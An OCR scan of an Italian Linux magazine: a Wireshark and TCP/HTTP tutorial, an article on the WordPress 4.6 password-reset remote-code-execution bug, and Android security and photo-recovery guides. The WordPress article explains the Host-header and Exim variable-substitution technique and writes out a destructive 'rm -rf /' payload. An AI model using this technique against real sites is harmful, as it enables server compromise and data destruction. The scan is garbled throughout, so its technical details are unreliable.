scheda di rete può essere impostata in modalità di funzionamento 
normale o in modalità promiscua. Nel primo caso il traffico a lei 
destinato sarà quello identificato dal suo indirizzo MAC si pensi, 
ad esempio, ad una rete con uno switch managed che “impara” a 
smistare il traffico alle varie schede di rete presenti in base ad una 
ARP cache che mantiene in memoria la coppia IP/MAC address. 
In questo scenario, la scheda riceve solo ed esclusivamente i pac- 
chetti ad essa destinati. La modalità promiscua, invece, permette 
di catturare tutto il traffico che passa per quel segmento di rete e 
quindi anche pacchetti destinati ad altri NIC di utenti e macchine 
diverse. Per questo motivo Wireshark necessita di essere avviato da 
utente root affinché possa mettere in modalità promiscua la scheda 
di rete, operazione, questa, permessa solo ad un utente con privilegi 
di amministratore. Premesso questo, l’utilizzo di Wireshark si basa 
su almeno due passi: il primo vede la raccolta dei dati, il secondo 
l’analisi. La raccolta dei dati è un processo alquanto intuitivo: si 
avvia Wireshark, si sceglie l’interfaccia di rete e si da lo start per la 
cattura dei dati. Di per sé anche l’analisi dei dati è un’operazione 
relativamente semplice a patto di avere un occhio allenato e un 
minimo di conoscenza di ciò che si sta catturando/monitorando. 
La procedura può essere resa più agevole facendo uso dei filtri che 
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Fig. 2 e Formato segmento TCP e Three-Way Handshake 


permettono di isolare protocolli e/o indirizzi di interesse. Possia- 
mo dividerli in due gruppi: filtri di cattura che determinano cosa 
deve o non deve passare e i filtri di visualizzazione che indicano 
quali pacchetti dovranno essere visualizzati. Entrambi fanno uso 
di shortcut (scorciatoie) alle primitive di BPF. Esempi sono host, 
net e port con relativi qualificatori sre o dest e specifiche di pro- 
tocollo ip, tcp o icmp. Così come vi sono gli operatori logici && 
(o and), || (o or) e ! (o not). Ad esempio, ip.src==192.168.100.1 
|| ip.dest==192.168.100.10 visualizza solo i pacchetti il cui campo 
di destinazione o (simbolo II) nel campo sorgente del protocollo IP 
hanno gli indirizzi specificati. Oppure net 192.168.100.0/24 cattu- 


Analizziamo la dinamica TCP con Wireshark 


e destinazione 


Len: 0] 


ber: 0 (relative sequence nunber) 
nt nunber: 1 (relative ack number) 


RIZZO ORGRORO 


hh: 40 bytes 


.» = Monce: Not set 


2... = EGi-Echo: Not set 


| Capnie Anugze Stamutce Trephcoy Toste riemats Hop 
Togli" ftolE, CRA MAIO AE RAI) MORONI cal 


Espression. 


1... = Congestion irindom Reduced (OR): Not set 


ra il traffico dalla subnet specificata o not arp che non cattura il 
traffico ARP. 


IL TRASPORTO È SERVITO 


Acronimo di Transmission Control Protocol, TCP è un proto- 
collo affidabile, sicuro e orientato alla connessione che fornisce un 
trasporto per flussi di dati bidirezionali tra due stazioni remote. La 
Fig. 2 illustra le sezioni di un pacchetto TCP. I primi 4 byte (32 bit) 
sono riservati rispettivamente alla Porta Sorgente (2 byte) e Porta 
Destinazione (2 byte). Ricordiamo che una porta è un indirizzo 
logico utilizzato per la comunicazione tra processi: ad esempio 21 
per FTP, 25 per SMTP, 80 per HTTP, ecc. Numeri di porta al di sot- 
to di 1024 sono riservati a servizi di sistema e solo l’utente root può 
allocarli. Numeri di porta superiori a 1024 possono essere utilizzati 
dai processi utente senza necessità di alcun permesso particolare. 
I successivi 4 byte sono riservati alla numerazione sequenziale dei 
pacchetti (Sequence Number, SN) a cui seguiranno altri 4 byte as- 
sociati all’ Acknowledgement Number (AN). Importanti per una 
connessione TCP sono gli ultimi 6 bit del 9° byte (parte ingrandita 
in figura), detti bit di controllo: rispettivamente Urgent (URG), 
Acknowledgement (ACK), Push (PSH), Reset (RST), Synchro- 
nize (SYN) e Finish (FIN). 

L’intestazione (header) del pacchetto TCP è caratterizzato da 20 
byte più una parte opzionale a cui fanno seguito i byte dei dati la 
cui dimensione massima è pari a 65535-20 byte (ovvero 2416-21). 
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VOI 


Dear Her ea 


scel Leagth Info 
Lana) 32 56290 + 80 {i 


Indirizzo IP È 


RACCOLTA 
01 Chiudiamo browser, client di 
posta elettronica e eventuali 
media player. Apriamo un terminale e 
riportiamo il seguente comando wget 
http://linux-magazine.edmaster.it/alle- 
gati/362/mysql_wp_government_it.pdf: 
scaricherà un .pdf dal sito di GNU/Li- 
nux Magazine. Prima di premere Invio 
lanciamo Wireshark e indichiamo l'in- 
terfaccia di rete dalla quale catturare i 
pacchetti (ad esempio, eth0). 
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(SO ANALISI 
02 Premiamo Invio nel termi- 
1 nale e attendiamo che il .pdf 
venga scaricato. Spostiamoci in Wire- 
shark e fermiamo la cattura (pulsante 
con icona rossa quadrata). Nel pan- 
nello in alto all'inizio dell'handsha- 
ke TCP troviamo i tre pacchetti SYN, 
SYN+ACK e ACK: in figura, i valori di 
risposta SYN+ACK. Per scremare le 
righe non interesse nel rigo Filter ri- 
portiamo tcp && !http. 


GRAFICI 
03 Per esaminare i dati tra- 
smessi per unità di tempo 
si possono utilizzare le utility grafi- 
che a disposizione del programma. 
Dal menu Statistics optiamo per TCP 
StreamGraph quindi Time-Sequence 
Graph (Stevens). Ogni puntò rappre- 
senta un segmento TCP inviato. Even- 
tuali punti impilati rappresentano una 
serie di pacchetti inviati in sequenza 
dal mittente. 


User Space 


Kernel Space TI 


SR 


a dti pena] 
Applica 
CESILNERETANTE, 


Fig. 3 è HTTP “trasportato” da TCP 


Qual è la dinamica della transazione? Nel tutorial la analizziamo 
graficamente con Wireshark, ma prima cerchiamo di capirla concet- 
tualmente. Il primo step vede il client inviare al server un pacchetto 
TCP con il bit di controllo SYN=1 (annuncia un tentativo di aprire 
una connessione) e ACK=0: in una nuova connessione TCP I’ SN 
è assolutamente casuale e di valore pari a X. Il server, ricevendo il 
pacchetto TCP, risponderà (passo due del tutorial) a sua volta con 
un pacchetto TCP con i bit di controllo SYN=1, ACK=1, includen- 
do un SN casuale di valore Y e un AN di riscontro all’ SN preceden- 
te e di valore pari a X+1. A questo punto il client vedendo ritornare 
una risposta stabilisce definitivamente la connessione inviando un 
pacchetto TCP con SYN=0, ACK=1, SN di valore X+1 e AN di va- 
lore Y+1. Solo a questo punto la connessione tra le due macchine è 
stabilita e tutto è pronto per la ricezione e/o l’invio dei dati. Questa 
modalità è nota come Three-Way Handshake. 


TRASPORTARE DATI 


HyperText Transfer Protocol (HTTP) è un protocollo del livello 
Applicazione che viene utilizzato per quei sistemi informativi di- 
stribuiti, collaborativi e ipertestuali. Definisce uno standard di ri- 
chiesta/risposta che si trova comunemente nei sistemi client-server 
nei quali un browser fa la richiesta e il server risponde. Il proto- 
collo HTTP viene incapsulato nel protocollo TCP (Fig. 3) e deter- 
mina una sequenza di transazioni simile ad una sessione. Il client 
presenta la richiesta e stabilisce una connessione TCP ad una porta 
particolare (Passo 2 del tutorial). Il server HTTP è in ascolto da 
quella porta e attende un messaggio di richiesta da un client. Una 
volta ricevuta questa richiesta, il server invia la riga al client con il 
proprio messaggio, che può essere una risorsa, un messaggio di er- 
rore o qualsiasi altra informazione. Soddisfatta questa richiesta ad 
opera del server la connessione, in generale e a differenza di altri 
protocolli del livello Applicazione (ad esempio FTP), viene chiusa. 
Premesso ciò, apriamo il browser con un tab vuoto e nella barra de- 
gli indirizzi riportiamo un indirizzo, ad esempio www.edmaster.it. 
Lanciamo Wireshark, avviamo la cattura dei dati sull’interfaccia di 


rete e facciamo caricare dal browser la pagina del sito. In Wireshark 
vedremo una serie di pacchetti catturati susseguirsi: caricata la pa- 
gina del sito Web fermiamo la cattura dei dati. All’inizio, visto che 
ora abbiamo un po’ di occhio, troveremo subito l’handshake TCP, 
la triade in sequenza SYN, SYN+ACK e ACK. Concentriamoci solo 
sul protocollo HTTP. Poiché (Fig. 3) il messaggio HTTP è traspor- 
tato da un segmento TCP il quale è portato da un datagramma IP a 
sua volta contenuto in un frame Ethernet, Wireshark inevitabilmen- 
te mostrerà tutti i dati catturati. Per minimizzare i dati al protocol- 
lo di interesse o interveniamo con filtri a monte oppure, una volta 
effettuata la cattura, nel rigo Filter digitiamo http seguito da Invio 
affinché vengano visualizzati solo i dati inerenti tale protocollo. Il 
primo dato catturato del protocollo HTTP è la richiesta del nostro 
browser al sito Web, messaggio GET (osservare gli IP di sorgente 
e destinazione) a cui seguono i messaggi di risposta del server (gli 
IP della sorgente e della destinazione sono ora invertiti). In Fig. 4 
la cattura e la visualizzazione dei dati indicati. In HTTP esistono 
diversi metodi di richiesta fra client e server, i due più utilizzati 
sono GET e POST: il primo richiede dei dati da una specifica ri- 
sorsa il secondo invia i dati da elaborare ad una specifica risorsa 
(ad esempio, dati ad un form). Allora possiamo affinare la ricerca 
catturando le richieste trasmesse dal nostro computer all’esterno 
inserendo come filtro http.request.method==GET da mettere ad 
esempio in OR (||) con la richiesta POST. Nell’output di Wireshark, 
alla voce Hypertext Transfer Protocol del pannello centrale, pos- 
sono apparire diversi codici per i quali vi rimandiamo al capitolo 10 
dell’ RFC2616 del consorzio W3C (Wwww.w3.0rg). Ultima nota: in 
questa sede, sicuramente non esaustiva, ma proseguiremo in futuro 
con l’utilizzo di Wireshark, l'interfaccia grafica utilizzata è relativa 
alle librerie GTK per ambiente Gnome e derivati. Esiste una versio- 
ne realizzata con librerie Qt per ambiente KDE: con lievi differenze 
su nomi e voci di menu, valgono le medesime considerazioni qui 
riportate. Al solito in caso di problemi o approfondimenti è possi- 
bile rivolgere domande al forum di Linux Magazine (http://linux- 
magazine.edmaster.it/forum/). 


Fie Edt View Go Capture vmalyze Statistica Telephony 
codes; DAEx; dé. 


» Frame 13: 1215 bytes 

» Ethernet IT, Src: DuniperW_61:2b:3a (00:31:46:61:2b:32), 
» PPP-over-Ethernet Session 

+ Point-to-Paint Protocol 

» Internet Protocol Version 4, Src: 62.85.163.67, Dyt: 82.57.172.244 

» Transmission Control Protocol, Sre Port: 80, Dst Port: 44453, Seq: 5473, Ack: 312, Len: 1141 
» {5 Reassendled TCP Segnents (6613 bytes): #5(1265), #7(1365), #9(1268), #11(1368), #13(2141)] 


AsustelC_b7:7b:al (50:46:5d:D7:7b:a1) 


Date: Non, 19 3un 2017 16:36:00 GNT\r\n 
Server: Microsoft-11S/6.0\r\n 
x-Powered-By: ASP.NET\r\n 
x-Powered-By: PHP/5.2.6\r\n 
Set-Cookie: PHPSESSID=g0p5abndglsnjjatpna0tbdno6; path=/\r\n 
Txpires: Thu, 19 Nov 1931 08:52:00 GAT\r\n 
Cache-Control: no-store, no-cache, mut-revalidate, post-check:0, pre-checke@\r\n 
Pragna: no-cache\r\n 
Content-Encoding: gzip\r\n 
Vary: Accept-Encoding\r\n 
Content-type: text/htalirin 
» Content-Length: 6193\r\n 
\rin 


Packetx 1969 RESRIION RIA 
Fig. 4 * L'output (filtrato) di Wireshark dopo 
la connessione al sito 


Linux Magazine 


Ogni mese 
l’analisi 


dettagliata 

delle vulnerabilità 
più pericolose 

e le soluzioni 

più adatte 

per risolvere 

il problema 


‘Così entro nel tuo WordPress” 


Come tutti i CMS, permette di reimpostare la password di un utente. Tuttavia, questa procedura 
contiene un bug che permette ad un pirata l'esecuzione remota di codice malevolo 


na delle ultime versioni, la 4.6, con- 

tiene un bug in una posizione molto 

pericolosa: la procedura per il ripri- 
stino della password. Si tratta di una fun- 
zionalità presente su tutti i siti, perché non 
si può comunque nascondere il pannello di 
login, quindi i siti colpiti sono di fatto tutti 
quelli che funzionano con WordPress. 


E-MAIL ED 
INTESTAZIONE HTTP 


Qualsiasi sito che richieda un login deve offri- 
re la possibilità di retmpostare la propria pas- 
sword: chiunque può dimenticare la propria. 
Un sito realizzato con WordPress deve offri- 
re la stessa possibilità, visto che i contenuti 
del sito vengono modificati da almeno un 
account di amministrazione. WordPress im- 
plementa questa funzione inviando un'e-mail 
all’indirizzo dell'utente, con un link segreto 
per impostare la nuova password. L’e-mail 
viene inviata con la funzione mail() di PHP. 
Questa funzione si appoggia solitamente al 
programma Mail Transfer Agent Exim op- 
pure Sendmail, un software esterno. Pas- 
sando argomenti a tale programma, in modo 
truffaldino, è possibile riuscire ad eseguire 
codice da remoto sul sistema operativo del 
server. Il problema di questo meccanismo è 
che la stringa che viene passata al program- 
ma deve essere controllata dal codice del 
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sito, ovvero da WordPress. Il punto debole 
identificato dagli esperti di sicurezza è lega- 
to all'indirizzo del mittente, ovvero l’indirizzo 
da cui proviene l’e-mail per la reimpostazio- 
ne della password. Nel file /wp-includes/ 
pluggable.php possiamo vedere che: 


$from name = apply filters( 'wp mail. 


from name', $from.1 


all'oggetto $phpmailer, che verrà utilizzato 
per l’invio dell'e-mail, viene passato un nome 
ed un indirizzo del mittente. E come viene 
prodotto l’indirizzo $from_email? Con que- 
sto blocco di codice: 


om email ) 


In poche parole, l'indirizzo sarà costituito dal 


nome del server (eventualmente privato del 
www iniziale) preceduto da wordpress®@. Il 
nome del server viene prelevato dalla variabi- 
le [SERVER_NAME] che viene solitamente 
fornita proprio dal server stesso, ovvero da 
Apache o Nginx, ad esempio. Ecco, il pro- 
blema è che non è proprio così scontato, ed 
è un errore voler dedurre il nome del server 
da tale variabile senza controllarne l’effetti- 
vo contenuto. Infatti, è possibile modificare 
temporaneamente la variabile specificando 
nell’intestazione della propria richiesta HTTP 
il parametro Host. Scrivendo una richiesta di 
questo tipo: 


Alla prossima richiesta di una pagina, il ser- 
ver restituirà il nome originale, ma almeno in 
questo momento il contenuto della variabile 
SERVER_NAME è stato modificato. Infatti, 
se andiamo a vedere il comando che viene 
eseguito da PHP avremo una serie di argo- 
menti: 


Ciò significa che la stringa incriminata (in 
questo esempio l’innocua “prova”) è stata 
inserita in un comando eseguito dal server 
in un terminale. Il pirata non deve far altro 
che costruire una stringa che gli permetta di 
compiere azioni pericolose. 


L'EXPLOIT 


Il “problema”, per il pirata, sta nel fatto che 
il nome dell'host che si può inserire in una 
richiesta HTTP non può contenere spazi. 
Inoltre, vi sono alcune altre limitazioni, come 
l'impossibilità di usare il carattere /. Quindi 
non si può scrivere un comando qualsia- 
si. Ulteriore complicazione sta nel fatto che 
Exim, il programma più utilizzato converte 
automaticamente tutto il testo in minuscole, 
ed i comandi Bash sono case sensitive. Se, 
ad esempio, si vuole accedere alla home di 
un utente di deve usare la variabile $HOME, 
ma non funziona se si scrive $home. Il si- 
stema, dunque, ha già una serie di prote- 
zioni. | pirati hanno però trovato un modo 
per risolvere il problema: la variabile ${spo- 
ol_directory} contiene un testo del tipo: 


ed ha tre vantaggi notevoli: esiste di sicuro, 
si scrive in minuscolo (quindi non ci sono 
problemi di case sensitivity) e, infine, il suo 
primo carattere è certamente uno slash. 
Ecco, quindi, che basta sostituire ogni slash 
all’interno del comando che si vuole scrivere 
con la stringa: 


Infatti, in base alla sintassi di Bash questa 


dicitura non fa altro che prelevare il primo 
carattere della stringa, cioè proprio /. Questo 
significa che il comando: 


può essere tradotto nella forma 


È scomodo da leggere, ma funziona. O qua- 
si, perché c’è ancora il problema dello spazio 
tra il comando touch ed il file da modificare 
sul disco rigido. Ma i pirati hanno risolto an- 
che questo: è stato sufficiente trovare la va- 
riabile interna di Exim chiamata '${tod_log}". 
Questa variabile contiene una data, scritta 
con questa forma fissa: 


Quindi, il suo undicesimo carattere sarà sem- 
pre uno spazio. In altre parole, basta sostitu- 
ire tutti gli spazi del comando con la formula: 


Un pirata può inviare la richiesta HTTP: 


POST /wordg 


[tmp2)] 


La sesta riga esegue il comando: 


e ovviamente con questa tecnica si possono 
eseguire praticamente tutti i comandi. La so- 
stituzione può essere fatta dal terminale del 
pirata, con il comando sed. Ad esempio, si 
può realizzare un semplice script Bash: 


emd="/bin/rm -rf /" 


Utilizzando sed con una espressione regola- 
re per sostituire prima lo slash e poi il carat- 
tere di spazio, rispettivamente con i caratteri 
prelevati da spool_directory e tod_log. Si 
può poi unire il tutto in una apposita variabi- 
le che conterrà la riga Host dell’intestazione 
HTTP. Ovviamente, dal proprio terminale il pi- 
rata può eseguire una richiesta HTTP al sito 
Wordpress vulnerabile usando il comando 
curl, in questo modo: 


Ed attendere l'esecuzione di rm -rf /, che 
cancella tutti i file dal disco rigido. 


LA SOLUZIONE 


Il bug è presente in WordPress 4.6 ed è stato 
corretto con un aggiornamento. Degli oltre 
70 milioni di siti Web coinvolti, la maggio- 
ranza è salva perché il CMS si è aggiornato 
automaticamente. Il problema è costituito 
da quei siti abbandonati, alla cui piattaforma 
l'amministratore non accede più. Quelli pos- 
sono anche essere una minaccia per i server 
su cui sono installati. 


poe0o 
0000 


od 
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BLINDA IL TUO 


SMARTPHONE! 


Forse non lo sai, ma anche Android non è esente da virus. Ecco come stare alla 
larga da ogni possibile minaccia e proteggere al massimo il tuo telefonino 


l sistema operativo di casa Google mette le sue radici in GNU/ 
fin Ma ciò non vuol dire che sia completamente esente da 

eventuali minacce di sicurezza: dopotutto, anche 1’OS del Pin- 
guino, seppur decisamente più sicuro delle alternative proprietarie, 
non è inviolabile. E in Android il discorso sicurezza è ancora più 
delicato: quotidianamente visitiamo i più disparati siti Web e scari- 
chiamo tonnellate di app “spazzatura”. Come facciamo a sapere se 


Sicurezza a 360° 


Ecco come installare l’app ed effettuare una 


Al @ 19.20 


SUL PLAY 


01 store 


Security Master a | Verifichiamo che il 
- Antivirus, VPN, 

AppLock, Booster i nostro smartphone o tablet 
Cheetah Mobile (AppLock & AntiVirus) H H a 
Wi eeoia” e Li Android sia connesso a In 


ternet (tramite un hotspot 
Wi-Fi o la rete mobile 36/46] 
e accediamo al Play Store. 
Da qui ricerchiamo l'app 
gratuita Security Master. 
Tappiamo quindi su Instal- 
la ed attendiamo la fine del 
download. 


INSTALLA i 


Contiene annunci * Acquisti inapp 


Più di 100.000.000 


500 | 


22.172.964 2 


Strumenti Sima 


BloccoApp, pulizia file spazzatura ed È 
antivirus con il motore antivirus #1. î 
ba 


ALTRE INFO 


eri dici 


PROBLEMI 
03 risoLti! 

Parte dunque 
l'analisi del sistema: il pro- 
cesso può durare anche di- 
versi minuti e varia in base 
alla quantità di applicazio- 
ni e servizi installati così 
come dalle performance 
del device. Al termine ci 
ritroveremo di fronte al re- 
sponso: se sono state rile- 
vate delle anomalie tappia- 
mo Risolvi tutto. 


RISOLVI TUTTO 
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dietro ad una di queste si cela un qualche virus? Per fortuna, dal Play 
Store è possibile scaricare dei software antivirus che monitorano co- 
stantemente la sicurezza del nostro dispositivo Android. Noi abbiamo 
messo alla prova Security Master che, fra tutte, è la più completa 
ma al tempo stesso leggera: non bisogna infatti dimenticare che mai 
come in questi casi il peso è importante (proprio perché l’app rimane 
costantemente attiva). 


prima scansione 


LA PRIMA 
02 ANALISI 

Al termine del 
download e dell'installa- 
zione dell'app, avviamola 
tappando su Apri o ricer- 
candola dall'elenco delle 
applicazioni installate. Al 
primo avvio ci ritroveremo 
di fronte al messaggio “Ri- 
schioso”: avviamo l'analisi 
del device con un tap su 
Scansiona & Ripulisci. 


Rischioso 


SEMPRE 

AGGIORNATI 

Dal menu prin- 
cipale dell'app (in alto a 
destra) scegliamo la voce 
Aggiornamento  defini- 
zioni virus. Nella nuova 
schermata che appare, 
tappiamo su Controlla 
per verificare la disponi- 
bilità di nuovi aggiorna- 
menti. Il nostro consiglio 
è quello di tenere l'app 
sempre aggiornata. 


Le definizioni virus sono 
aggiornate. 


Versione: 20170617A 


PIÙ TARDI CONTROLLA 


in 


"2 sec ®| 
(>) Messanger “ ESY i 

È 
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È 
È 
È 
| 
H 
È 
| 


< & a sl 


AIPTAITAMIIANIVATIITOTISIR CRI MAPPA ene re pareenrrepraefT 


Dopo aver avviato 
Security Master, spostia- 
moci nel suo menu princi- 
pale (in alto a destra). Da 
qui, scegliamo l'opzione 
Sicurezza dei messaggi. 
L'app analizzerà le app 
installate nel device e che 
mostrano notifiche anche 
a telefono bloccato. Per 
disattivarle, premiamo sul 
pulsante Proteggi. 


Quando siamo 
connessi ad un hotspot 
Wi-Fi non siamo sempre 
al sicuro: qualche pirata, 
infatti potrebbe essere 
connesso e pronto a ruba- 
re i nostri dati. Per dor- 
mire sonni tranquilli, dal 
menu dell'applicazione, 
scegliamo Sicurezza Wi- 
Fi seguito da Analisi ed 
attendiamo che la connes- 
sione venga analizzata. 


Security Master 
include un browser per 
navigare nel completo 
anonimato: al termine 
della navigazione, ogni 
dato verrà eliminato (non 
rimarrà traccia di cro- 
nologia e cookie). Per 
utilizzarlo, dal menu prin- 
cipale, scegliamo la voce 
Navigazione sicura. Ogni 
sito navigato verrà inoltre 
controllato alla ricerca di 
possibili minacce. 


CM SECURITY MASTER 


81. 


Le tue attività online potrebbero 
essere tracciate 


File inutili rilevati 
Fr a i file inutt 


TOILFINTTIIVA PA FPRP ONTON TTLATTVVA TFR PIATTA ZON 


com.samsung.ipservice 


D- 


Sempre dal menu 
principale dell'app, spo- 
stiamoci in Ottimizza Te- 
lefono: questa funzionali- 
tà ci permette di liberare 
la memoria RAM inuti- 
lizzata. Tutto quello che 
dobbiamo fare è cliccare 
su Ottimizza. Per ripulire 
il device dai file non più 
utilizzati, tappiamo su Eli- 
mina i file inutili. 


Altra funzio- 

nalità che ci 
permette di navigare con 
maggiore sicurezza è il 
SafeConnect che miglio- 
ra la privacy durante la 
navigazione. Per attivar- 
la, ci basta tappare sul 
pulsante Abilita che ci 
viene proposto al termine 
dell'analisi della connes- 
sione (solo quando è in 
uso una rete Wi-Fi) alla 
quale siamo connessi. 


Il device Android 
riscalda troppo? Verifi- 
chiamolo con la funziona- 
lità Raffreddamento CPU 
(sempre dal menu prin- 
cipale dell'app). Nel caso 
in cui la temperatura sia 
troppo elevata (il più delle 
volte è causato da app 
troppo esose in termini di 
risorse, possiamo abbas- 
sarla liberando un po' di 
risorse del sistema: ci ba- 
sta tappare su Ottimizza. 
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ALLA RICERCA 
TO PERDUT 


Hai cancellato alcuni scatti salvati sul tuo smartphone? Niente paura! 
Con la giusta app puoi ancora recuperarli! 


osì come accade con il PC, anche con lo smartphone lo spazio amici? Se siamo davvero convinti che non possa essere recuperata ci 
disponibile non basta mai. Ed è per questo che nonostante le sbagliamo di grosso! Dal Play Store, infatti, è possibile scaricare l’app 
schede di memoria siano sempre più capienti capita spesso gratuita DiskDigger che ci permette di recuperare tutte (o quasi) le foto 


di dover fare pulizia ed eliminare quei dati che reputiamo superflui: cancellate. È un po’ la variante mobile del ben più noto (lato desktop) 
applicazioni, documenti e foto. Ma cosa accade se cancelliamo erro- PhotoRec. Noi abbiamo deciso di metterla alla prova e siamo rimasti 
neamente un’immagine che, in realtà, così superflua non lo era e che, piacevolmente stupiti: l’app è stata in grado di recuperare centinaia di 


magari, era un ricordo di un viaggio o di un evento trascorso con gli immagini cancellate anche da diverso tempo! 


Un tap e ti recupero la foto! 


Ecco come installare l’app er ecuperare qualsiasi immagine cancellata. 


€. DiskDigger 


SCARICHIAMO i INIZIA LA 
01 L'APP BASIC SCAN (NO ROOT) i 02 RICERCA 


Dal nostro tele- Al termine del 


@ DiskDigger photo A É si x Ù O), START BASIC PHOTO SCAN È = 
_. recovery { fonino Android, accedia- {. downloade dell'installa- 
ente legali  moal Play Store. Prima, | zione dell'app, avviamola 
| però, verifichiamo che FULI:SCAN(ROOT REQUIRED) ? tappando sul pulsante 
sia connesso a Internet Could not detect the internal memory onyour | Apri o ricercandola 
Più di 10.000.000 di download A - È device. Tap the Refresh button above to try È È Pi 
tramite un hotspot Wi-Fi again, and make sure your device is rooted |. dall'elenco delle applica- 
properly. Di... 
ed © ‘olarete 36/46 (l’app da zioni installate. Appare 
To learn about rooting, please visit È pe è a 
scaricare ha una dimen- liibiJalsialigp@t org/raci you desio dunque l'interfaccia grafi- 


117.1602 Strumenti Simili } STE l x an 
sione irrisoria). Ricer- ù 


chiamo quindi DiskDig- 
ger photo recovery e 
| tappiamo su Installa. DECbERO 


TIRES maniera ere È 


- cadi DiskDigger: tappiamo 
su Start Basic Photo scan 
per avviare la ricerca delle 
foto cancellate. 


Undelete e recuperare le foto perse o 
cancellate con DiskDigger! 


ALTRE INFO 


ORIENTE 


in ATTRAE IEP TI SITE ZNNI 


ECCO LE RICERCA 
03 roro: 04 Avanzata 
È Tutte le immagi- Se vogliamo 
‘ ni che sono state can- Show results as: recuperare foto che sono 
| cellate in passato e che O List ® Grid | state scattate in un pre- 
3 possono essere recupe- Thumbnail size: i ciso intervallo di tempo, 
rate vengono mostrate O Small © Medium @ Large i tappiamo sull'icona a 
a schermo [potrebbero Minimum file size (bytes): | formadi ingranaggio 
passare diversi minuti). froooo | presente nella parte 


. Se vogliamo ripristinarne . inaltoa destra dell'in- 

{ unao più di queste, ci ba- terfaccia. Attiviamo le 

: sta tappare sulla minia- opzioni Minimum file 

| tura di ogni singola foto e Maximum file date (photos only): . date e Maximum file 

|. successivamente confer- antande on; date, indichiamo la data e 


mare con Recovery. TIE nsmee confermiamo con OK. 


Minimum file date (photos only): 


2017-06-15 = 


ENERAL 
ATA 
ROTECTION 
EGULATION 


O 1 CI ASPETTA 


Il GDPR diventerà obbligatorio. 

Recenti studi evidenziano che solo il 9% 
delle aziende ha avviato un progetto di 
adeguamento alla normativa. 

Sanzioni previste: fino al 4% del 
fatturato annuale o 20OMLE 

Alcune novità del regolamento Eu: 
l'accountability il privacy impact 
assessment, Ill concetto dell'incauto 
affidamento, il danno reputazionale e 
l'obbligo della tenuta di un registro dei 
trattamenti, il diritto all'oblio, la 
portabilità dei dati, la figura del DPO. 


he. 
aconet 


applications communications network 


02 PER RENDERTI COMPLIANT 


Assessment aziendale-> Audit action-> Sicurezza Informatica continuos monitor. 
Valuteremo la tua azienda e consiglieremo le azioni da intraprendere per adempiere 
alla normativa. Attiveremo soluzioni di sicurezza Next Generation per controllare 


H24 eventuali vulnerabilità che possano rendere attaccabile la tua rete (es. 
WannaCry Sanità Inglese). Ci proponiamo come DPO in outsourcing. 


Data Protection Officer - Privacy Consultant e Auditor Certificated 


Numero Verde 


800.123.539 


